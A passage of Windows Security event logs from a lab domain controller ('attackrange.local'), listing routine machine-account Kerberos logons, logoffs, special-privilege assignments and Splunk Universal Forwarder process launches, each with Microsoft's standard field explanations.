The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:17:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255503
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x31D04E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:17:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255520
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7b0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:17:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255519
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x31D47B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:17:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255518
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x31D589

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:17:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255517
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x31D5D2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:17:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255516
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x31D666
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{250C95BA-D7BE-68DE-E803-AA7B4845FE00}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62668

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:17:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255515
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x31D666

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:17:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255514
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x31D5D2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		62667

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:17:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255513
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x31D5D2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:17:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255512
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x31D589
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:17:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255511
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x31D589

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:17:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255510
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x31D47B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62666

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:17:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255509
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x31D47B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:17:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255521
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe40
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:17:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255523
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10f4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:17:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255522
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x940
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:17:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255525
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf90
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:17:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255524
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd00
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:17:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255526
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10bc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:17:20 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255527
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x31D666

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:17:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255530
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x320A1E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:17:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255529
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x320A1E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62679

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:17:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255528
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x320A1E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:18:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255531
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1118
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:18:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255532
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
